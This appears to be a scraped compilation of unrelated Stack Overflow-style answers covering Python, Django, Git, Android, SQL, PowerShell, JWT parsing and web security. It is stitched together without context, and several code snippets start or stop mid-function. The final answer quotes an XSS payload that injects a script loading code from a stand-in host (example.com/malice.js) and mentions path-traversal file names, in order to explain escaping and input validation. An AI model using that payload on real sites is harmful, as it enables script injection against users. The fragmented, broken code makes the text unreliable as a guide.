This way it's a bit easier and faster to find only some of the TODOs in the project in the Tasks View, and you don't have to search for the text in all files using the eclipse search tool (which can take quite some time).

I had the same problem and discovered that Pygame doesn't work for Python3 at least on the Mac OS, but I also have Tython2 installed in my computer as you probably do too, so when I use Pygame, I switch the path so that it uses python2 instead of python3. I use Sublime Text as my text editor so I just go to Tools > Build Systems > New Build System and enter the following:

{
    "cmd": ["/usr/local/bin/python", "-u", "$file"],    
}

instead of

{
    "cmd": ["/usr/local/bin/python3", "-u", "$file"],   
}

in my case. And when I'm not using pygame, I simply change the path back so that I can use Python3.

You want to use the csv module that is part of the python language and you should use Django's get_or_create method

 with open(path) as f:
        reader = csv.reader(f)
        for row in reader:
            _, created = Teacher.objects.get_or_create(
                first_name=row[0],
                last_name=row[1],
                middle_name=row[2],
                )

In my example the model teacher has three attributes first_name, last_name and middle_name.

HEAD is just a special pointer that points to the local branch you’re currently on.

From the Pro Git book, chapter 3.1 Git Branching - Branches in a Nutshell, in the section Creating a New Branch:

What happens if you create a new branch? Well, doing so creates a new pointer for you to move around. Let’s say you create a new branch called testing. You do this with the git branch command:

$ git branch testing 

This creates a new pointer at the same commit you’re currently on

How does Git know what branch you’re currently on? It keeps a special pointer called HEAD. Note that this is a lot different than the concept of HEAD in other VCSs you may be used to, such as Subversion or CVS. In Git, this is a pointer to the local branch you’re currently on. In this case, you’re still on master. The git branch command only created a new branch — it didn’t switch to that branch.

if your form contains an input field like

<input type='text' id='id1' />

then you can write the code in javascript as given below to set its value as

document.getElementById('id1').value='text to be displayed' ; 

alternatively you can also do this:

p '< echo "x y"' w impulse

x and y are the coordinates of the point to which you draw a vertical bar

Or if the role is not the owner of any db objects one can use:

DROP ROLE IF EXISTS my_user;
CREATE ROLE my_user LOGIN PASSWORD 'my_password';

But only if dropping this user will not make any harm.

If you are looking to create an instant messenger for Android, this code should get you started somewhere.

Excerpt from the source :

This is a simple IM application runs on Android, application makes http request to a server, implemented in php and mysql, to authenticate, to register and to get the other friends' status and data, then it communicates with other applications in other devices by socket interface.

EDIT : Just found this! Maybe it's not related to WhatsApp. But you can use the source to understand how chat applications are programmed.

There is a website called Scringo. These awesome people provide their own SDK which you can integrate in your existing application to exploit cool features like radaring, chatting, feedback, etc. So if you are looking to integrate chat in application, you could just use their SDK. And did I say the best part? It's free!

*UPDATE : * Scringo services will be closed down on 15 February, 2015.

Delete android/app/build folder and run react-native run-android

Install ipynb from your command prompt

pip install import-ipynb

Import in your notebook file

import import_ipynb

Now use regular import command to import your file

import MyOtherNotebook

have you tried eager loading?

@attachments = Job.includes(:attachments).find(1).attachments

To get exact name of control, use:

    string controlName = Page.FindControl(Page.Request.Params["__EVENTTARGET"]).ID;

The thing you are missing is that T and interface{} which holds a value of T have different representations in memory so can't be trivially converted.

A variable of type T is just its value in memory. There is no associated type information (in Go every variable has a single type known at compile time not at run time). It is represented in memory like this:

• value

An interface{} holding a variable of type T is represented in memory like this

• pointer to type T
• value

So coming back to your original question: why go does't implicitly convert []T to []interface{}?

Converting []T to []interface{} would involve creating a new slice of interface {} values which is a non-trivial operation since the in-memory layout is completely different.

I dont know about a one-line FTP server, but if you do

python -m SimpleHTTPServer

It'll run an HTTP server on 0.0.0.0:8000, serving files out of the current directory. If you're looking for a way to quickly get files off a linux box with a web browser, you cant beat it.

The following produces tab-delimited and valid CSV output. Unlike most of the other answers, this technique correctly handles escaping of tabs, commas, quotes, and new lines without any stream filter like sed, awk, or tr. The example shows how to pipe a remote mysql table directly into a local sqlite database using streams. This works without FILE permission or SELECT INTO OUTFILE permission. I have added new lines for readability.

mysql -B -C --raw -u 'username' --password='password' --host='hostname' 'databasename'
-e 'SELECT
    CONCAT('\''"'\'',REPLACE(`id`,'\''"'\'', '\''""'\''),'\''"'\'') AS '\''id'\'',
    CONCAT('\''"'\'',REPLACE(`value`,'\''"'\'', '\''""'\''),'\''"'\'') AS '\''value'\''
    FROM sampledata'
2>/dev/null | sqlite3 -csv -separator $'\t' mydb.db '.import /dev/stdin mycsvtable'

The 2>/dev/null is needed to suppress the warning about the password on the command line.

If your data has NULLs, you can use the IFNULL() function in the query.

This is a function online, I created a header file with it, and I use Setcolor(); instead, I hope this helped! You can change the color by choosing any color in the range of 0-256. :) Sadly, I believe CodeBlocks has a later build of the window.h library...

#include <windows.h>            //This is the header file for windows.
#include <stdio.h>              //C standard library header file

void SetColor(int ForgC);

int main()
{
    printf("Test color");       //Here the text color is white
    SetColor(30);               //Function call to change the text color
    printf("Test color");       //Now the text color is green
    return 0;
}

void SetColor(int ForgC)
{
     WORD wColor;
     //This handle is needed to get the current background attribute

     HANDLE hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
     CONSOLE_SCREEN_BUFFER_INFO csbi;
     //csbi is used for wAttributes word

     if(GetConsoleScreenBufferInfo(hStdOut, &csbi))
     {
          //To mask out all but the background attribute, and to add the color
          wColor = (csbi.wAttributes & 0xF0) + (ForgC & 0x0F);
          SetConsoleTextAttribute(hStdOut, wColor);
     }
     return;
}

I built a laravel package for making statistics : https://github.com/Ifnot/statistics

It is based on eloquent, carbon and indicators so it is really easy to use. It may be usefull for extracting date grouped indicators.

$statistics = Statistics::of(MyModel::query());

$statistics->date('validated_at');

$statistics->interval(Interval::$DAILY, Carbon::createFromFormat('Y-m-d', '2016-01-01'), Carbon::now())

$statistics->indicator('total', function($row) {
    return $row->counter;
});

$data = $statistics->make();

echo $data['2016-01-01']->total;

```

Although not directly applicable to this question, because it wants some information for the user, google brought me here when I wanted to run my .bat file elevated from task scheduler.

The simplest approach was to create a shortcut to the .bat file, because for a shortcut you can set Run as administrator directly from the advanced properties.

Running the shortcut from task scheduler, runs the .bat file elevated.

this error is also caused by null pointer reference. if you are using a pointer who is not initialized then it causes this error.

to check either a pointer is initialized or not you can try something like

Class *pointer = new Class();
if(pointer!=nullptr){
    pointer->myFunction();
}

I've tried all the above solutions, but none of them worked for me. The following code helped me, when trying to return to MainActivity in a way that onCreate gets called:

Intent.FLAG_ACTIVITY_CLEAR_TOP is the key.

  @Override
  public void onBackPressed() {
      Intent intent = new Intent(this, MainActivity.class);
      intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TOP);
      startActivity(intent);
  }

If you are using an ActionBarActivity then you can tell Android to use the Toolbar as the ActionBar like so:

Toolbar toolbar = (Toolbar) findViewById(R.id.my_awesome_toolbar);
setSupportActionBar(toolbar);

And then calls to

getSupportActionBar().setDisplayHomeAsUpEnabled(true);
getSupportActionBar().setDisplayShowHomeEnabled(true);

will work. You can also use that in Fragments that are attached to ActionBarActivities you can use it like this:

((ActionBarActivity) getActivity()).getSupportActionBar().setDisplayHomeAsUpEnabled(true);
((ActionBarActivity) getActivity()).getSupportActionBar().setDisplayShowHomeEnabled(true);

If you are not using ActionBarActivities or if you want to get the back arrow on a Toolbar that's not set as your SupportActionBar then you can use the following:

mActionBar.setNavigationIcon(getResources().getDrawable(R.drawable.ic_action_back));
mActionBar.setNavigationOnClickListener(new View.OnClickListener() {
   @Override
   public void onClick(View v) {
       //What to do on back clicked
   }
});

If you are using android.support.v7.widget.Toolbar, then you should add the following code to your AppCompatActivity:

@Override
public boolean onSupportNavigateUp() {
    onBackPressed();
    return true;
}

I found the right answer just by comparing the conversion to 1/1/1970 w/o the local time adjustment;

DateTime date = new DateTime(2011, 4, 1, 12, 0, 0, 0);
DateTime epoch = new DateTime(1970, 1, 1, 0, 0, 0, 0);
TimeSpan span = (date - epoch);
double unixTime =span.TotalSeconds;

For some reason Brice's answer is not working for me. I was able to manipulate it a bit to get it to work. It might just be because I have a newer version of PowerMock. I'm using 1.6.5.

import java.util.Random;

public class CodeWithPrivateMethod {

    public void meaningfulPublicApi() {
        if (doTheGamble("Whatever", 1 << 3)) {
            throw new RuntimeException("boom");
        }
    }

    private boolean doTheGamble(String whatever, int binary) {
        Random random = new Random(System.nanoTime());
        boolean gamble = random.nextBoolean();
        return gamble;
    }
}

The test class looks as follows:

@PrepareForTest(CodeWithPrivateMethod.class)
public class CodeWithPrivateMethodTest {
    private CodeWithPrivateMethod classToTest;

    @Test(expected = RuntimeException.class)
    public void when_gambling_is_true_then_always_explode() throws Exception {
        classToTest = PowerMockito.spy(classToTest);

        doReturn(true).when(classToTest, "doTheGamble", anyString(), anyInt());

        classToTest.meaningfulPublicApi();

Array values = Enum.GetValues(typeof(myEnum));

foreach( MyEnum val in values )
{
   Console.WriteLine (String.Format("{0}: {1}", Enum.GetName(typeof(MyEnum), val), val));
}

Or, you can cast the System.Array that is returned:

string[] names = Enum.GetNames(typeof(MyEnum));
MyEnum[] values = (MyEnum[])Enum.GetValues(typeof(MyEnum));

for( int i = 0; i < names.Length; i++ )
{
    print(names[i], values[i]);
}

But, can you be sure that GetValues returns the values in the same order as GetNames returns the names ?

If you already fetched your remote branch and do git branch -a,
you obtain something like :

* 8.0
  xxx
  remotes/origin/xxx
  remotes/origin/8.0
  remotes/origin/HEAD -> origin/8.0
  remotes/rep_mirror/8.0

After that, you can use rep_mirror/8.0 to designate locally your remote branch.

The trick is that remotes/rep_mirror/8.0 doesn't work but rep_mirror/8.0 does.

So, a command like git merge -m "my msg" rep_mirror/8.0 do the merge.

You could execute the .sql file as a script in the SQL Developer worksheet. Either use the Run Script icon, or simply press F5.

For example,

@path\script.sql;

Remember, you need to put @ as shown above.

But, if you have exported the database using database export utility of SQL Developer, then you should use the Import utility. Follow the steps mentioned here Importing and Exporting using the Oracle SQL Developer 3.0

Now, unless you're trying to write C++ code using Python syntax, what would you need overloading for?

I think it's exactly opposite. Overloading is only necessary to make strongly-typed languages act more like Python. In Python you have keyword argument, and you have *args and **kwargs.

See for example: What is a clean, Pythonic way to have multiple constructors in Python?

• _blank as a target value will spawn a new window every time,
• _new will only spawn one new window.

Also, every link clicked with a target value of _new will replace the page loaded in the previously spawned window.

You can click here When to use _blank or _new to try it out for yourself.

If you're using InertiaJS, the away() approach won't work as seen on the inertiaJS github, they are discussing the best way to create a "external redirect" on inertiaJS, the solution for now is return a 409 status with X-Inertia-Location header informing the url, like this:

return response('', 409)
            ->header('X-Inertia-Location', $paymentLink);

Where paymentLink is the link you want to send the user to.

This answer predates version 1.1.5 where a proper ternary in the $parse function wasn't available. Use this answer if you're on a lower version, or as an example of filters:

angular.module('myApp.filters', [])
  
  .filter('conditional', function() {
    return function(condition, ifTrue, ifFalse) {
      return condition ? ifTrue : ifFalse;
    };
  });

And then use it as

<i ng-class="checked | conditional:'icon-check':'icon-check-empty'"></i>

You have two possibilities:

1. non-static setter for static property/field;
2. using org.springframework.beans.factory.config.MethodInvokingFactoryBean to invoke a static setter.

In the first option you have a bean with a regular setter but instead setting an instance property you set the static property/field.

public void setTheProperty(Object value) {
    foo.bar.Class.STATIC_VALUE = value;
}

but in order to do this you need to have an instance of a bean that will expose this setter (its more like an workaround).

In the second case it would be done as follows:

<bean class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
    <property name="staticMethod" value="foo.bar.Class.setTheProperty"/>
    <property name="arguments">
        <list>
            <ref bean="theProperty"/>
        </list>
   </property>
</bean>

On you case you will add a new setter on the Utils class:

public static setDataBaseAttr(Properties p)

and in your context you will configure it with the approach exemplified above, more or less like:

<bean class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
    <property name="staticMethod" value="foo.bar.Utils.setDataBaseAttr"/>
    <property name="arguments">
        <list>
            <ref bean="dataBaseAttr"/>
        </list>
   </property>
</bean>

If you're using Typescript or vanilla JavaScript, here's a zero-dependency, ready to copy-paste in your project simple function (building on @Rajan Maharjan 's answer).

This answer is particularly good, not only because it does not depend on any npm module, but also because it does not depend an any node.js built-in module (like Buffer) that some other solutions here are using and of course would fail in the browser (unless polyfilled, but there's no reason to do that in the first place). Additionally JSON.parse can fail at runtime and this version (especially in Typescript) will force handling of that. The JSDoc annotations will make future maintainers of your code thankful. :)

/**
 * Returns a JS object representation of a Javascript Web Token from it's common encoded
 * string form.
 *
 * @export
 * @template T the expected shape of the parsed token
 * @param {string} token a Javascript Web Token in base64 encoded, `.` separated form
 * @returns {(T | undefined)} an object-representation of the token
 * or undefined if parsing failed
 */
export function getParsedJwt<T extends object = { [k: string]: string | number }>(
  token: string,
): T | undefined {
  try {
    return JSON.parse(atob(token.split('.')[1]))
  } catch {
    return undefined
  }
}

For completion, here's the vanilla javascript version too:

/**
 * Returns a JS object representation of a Javascript Web Token from it's common encoded
 * string form.
 *
 * @export
 * @template T the expected shape of the parsed token
 * @param {string} token a Javascript Web Token in base64 encoded, `.` separated form
 * @returns {(object | undefined)} an object-representation of the token
 * or undefined if parsing failed
 */
export function getParsedJwt(token) {
  try {
    return JSON.parse(atob(token.split('.')[1]))
  } catch (e) {
    return undefined
  }
}

Did you tried to start from right to left by using the rev command ? In this case you just need to print the 2nd column:

seq 12 | xargs -n5 | rev | awk '{ print $2}' | rev
4
9
11

I was running into this error while converting from nvarchar to float.
What I had to do was to use the LEFT function on the nvarchar field.

Example: Left(Field,4)

Basically, the query will look like:

Select convert(float,left(Field,4)) from TABLE

Just ridiculous that SQL would complicate it to this extent, while with C# it's a breeze!
Hope it helps someone out there.

You can easily use xml (from the Python standard library) to convert to a pandas.DataFrame. Here's what I would do (when reading from a file replace xml_data with the name of your file or file object):

        doc_dict['data'] = doc.text
        yield doc_dict

etree = ET.parse(xml_data) #create an ElementTree object 
doc_df = pd.DataFrame(list(iter_docs(etree.getroot())))

If there are multiple authors in your original document or the root of your XML is not an author, then I would add the following generator:

def iter_author(etree):
    for author in etree.iter('author'):
        for row in iter_docs(author):
            yield row

and change doc_df = pd.DataFrame(list(iter_docs(etree.getroot()))) to doc_df = pd.DataFrame(list(iter_author(etree)))

Have a look at the ElementTree tutorial provided in the xml library documentation.

If you don't want the last \t after the last element, you have to use the index to check, but remember that this only "works" (i.e. is O(n)) when lists implements the RandomAccess.

List<String> list = new ArrayList<String>();
list.add("one");
list.add("two");
list.add("three");

StringBuilder sb = new StringBuilder(list.size() * apprAvg); // every apprAvg > 1 is better than none
for (int i = 0; i < list.size(); i++) {
    sb.append(list.get(i));
    if (i < list.size() - 1) {
        sb.append("\t");
    }
}
System.out.println(sb.toString());

Use setInterval:

$(function(){
setInterval(oneSecondFunction, 1000);

Use this query to create the new table with the values from existing table

CREATE TABLE New_Table_name AS SELECT * FROM Existing_table_Name; 

Now you can get all the values from existing table into newly created table.

I bet your machine's culture is not "en-US". From the documentation:

If provider is a null reference (Nothing in Visual Basic), the current culture is used.

If your current culture is not "en-US", this would explain why it works for me but doesn't work for you and works when you explicitly specify the culture to be "en-US".

I modified @FrinkTheBrave 's answer to also create sub-directories, and resolve relative paths:

$src_root = Resolve-Path("./source/path/")
$target_root = Resolve-Path("./target/path/")
$glob_filter = "*.*"
Get-ChildItem -path $src_root -filter $glob_filter -recurse | 
  ForEach-Object {
        $target_filename=($_.FullName -replace [regex]::escape($src_root),$target_root) 
        $target_path=Split-Path $target_filename
        if (!(Test-Path -Path $target_path)) {
            New-Item $target_path -ItemType Directory
        }
        Copy-Item $_.FullName -destination $target_filename
    }

There is an old plugin called HEX Editor here.

According to this question on Super User it does not work on newer versions of Notepad++ and might have some stability issues, but it still could be useful depending on your needs.

it's simple , and it's really worked for me .

run you wamp server => click right mouse button => and click on "put online"

then open your cmd as an administrateur , and pass in this commande word

ipconfig => and press enter

then lot of adresses show-up , then you have just to take the first one , it's look like this example: Adresse IPv4. . . . . . . . . . . . . .: 192.168.67.190 well done ! , that's the adresse, that you will use to cennecte to your wampserver in local.

I haven't actually tried this, but this answer from the web sounds promising:

Wireshark can't actually capture local packets on windows XP due to the nature of the windows TCP stack. When packets are sent and received on the same machine they don't seem to cross the network boundary that wireshark monitors.

However there is a way around this, you can route the local traffic out via your network gateway (router) by setting up a (temporary) static route on your windows XP machine.

Say your XP IP address is 192.168.0.2 and your gateway (router) address is 192.168.0.1 you could run the following command from windows XP command line to force all local traffic out and back across the network boundary, so wireshark could then track the data (note that wireshark will report packets twice in this scenario, once when they leave your pc and once when they return).

route add 192.168.0.2 mask 255.255.255.255 192.168.0.1 metric 1

Slightly unrelated, but to remove ^M from the command line using Perl, do this:

perl -p -i -e "s/\r\n/\n/g" file.name

1.Concatenate the string (space between each string)

Code Snippet :

<?php
 $txt1 = "Sachin";
 $txt2 = "Tendulkar";

 $result = $txt1.$txt2 ;
 echo  $result. "\n";
 ?>  

Output: SachinTendulkar

2.Concatenate the string where space exists

Code Snippet :

<?php
 $txt1 = "Sachin";
 $txt2 = "Tendulkar";

 $result = $txt1." ".$txt2; 
 echo  $result. "\n";
?>  

Output : Sachin Tendulkar

3. Concatenate the string using printf function.

Code Snippet :

  <?php
 $data1 = "Sachin";
 $data2 = "Tendulkar";
 printf("%s%s\n",$data1, $data2);
 printf("%s %s\n",$data1, $data2); 
?>

Output:

    $track->addChild('title', "Track $i - Track Title");
}

Header('Content-type: text/xml');
print($xml->asXML());

Garbage Collection is good in Java, if we are executing Software coded in java in Desktop/laptop/server. You can call System.gc() or Runtime.getRuntime().gc() in Java.

Just note that none of those calls are guaranteed to do anything. They are just a suggestion for the jvm to run the Garbage Collector. It's up the the JVM whether it runs the GC or not. So, short answer: we don't know when it runs. Longer answer: JVM would run gc if it has time for that.

I believe, the same applies for Android. However, this might slow down your system.

Use this,

function restrict(elem){
  var tf = _(elem);
  var rx = new RegExp;
  if(elem == "email"){
       rx = /[ '"]/gi;
  }else if(elem == "search" || elem == "comment"){
    rx = /[^a-z 0-9.,?]/gi;
  }else{
      rx =  /[^a-z0-9]/gi;
  }
  tf.value = tf.value.replace(rx , "" );
}

On the backend, for java , Try using StringUtils class or a custom script.

                result.append("&#039;");
            else if (character == '\\')
                result.append("&#092;");
            else if (character == '&')
                result.append("&amp;");
            else {
            //the char is not a special one
            //add it to the result as is
                result.append(character);
            }
            character = iterator.next();
        }
        return result.toString();
    }

you can create user and grant privilege

create user read_only identified by read_only; grant create session,select any table to read_only;

The generic collections will perform better than their non-generic counterparts, especially when iterating through many items. This is because boxing and unboxing no longer occurs.

You can find it in /var/www/ that is default directory for nginx and apache but you can change it. step 1 go to the following folder /etc/nginx/sites-available

step 2 edit default file in that you can find a server block under that there will be line named as root that is what defines the location.

There are two things to consider: users can modify forms, and you need to secure against Cross Site Scripting (XSS).

XSS

XSS is when a user enters HTML into their input. For example, what if a user submitted this value?:

" /><script type="text/javascript" src="http://example.com/malice.js"></script><input value="

This would be written into your form like so:

<input type="hidden" name="prova[]" value="" /><script type="text/javascript" src="http://example.com/malice.js"></script><input value=""/>

The best way to protect against this is to use htmlspecialchars() to secure your input. This encodes characters such as < into <. For example:

<input type="hidden" name="prova[]" value="<?php echo htmlspecialchars($array); ?>"/>

You can read more about XSS here: https://www.owasp.org/index.php/XSS

Form Modification

If I were on your site, I could use Chrome's developer tools or Firebug to modify the HTML of your page. Depending on what your form does, this could be used maliciously.

I could, for example, add extra values to your array, or values that don't belong in the array. If this were a file system manager, then I could add files that don't exist or files that contain sensitive information (e.g.: replace myfile.jpg with ../index.php or ../db-connect.php).

In short, you always need to check your inputs later to make sure that they make sense, and only use safe inputs in forms. A File ID (a number) is safe, because you can check to see if the number exists, then extract the filename from a database (this assumes that your database contains validated input). A File Name isn't safe, for the reasons described above. You must either re-validate the filename or else I could change it to anything.
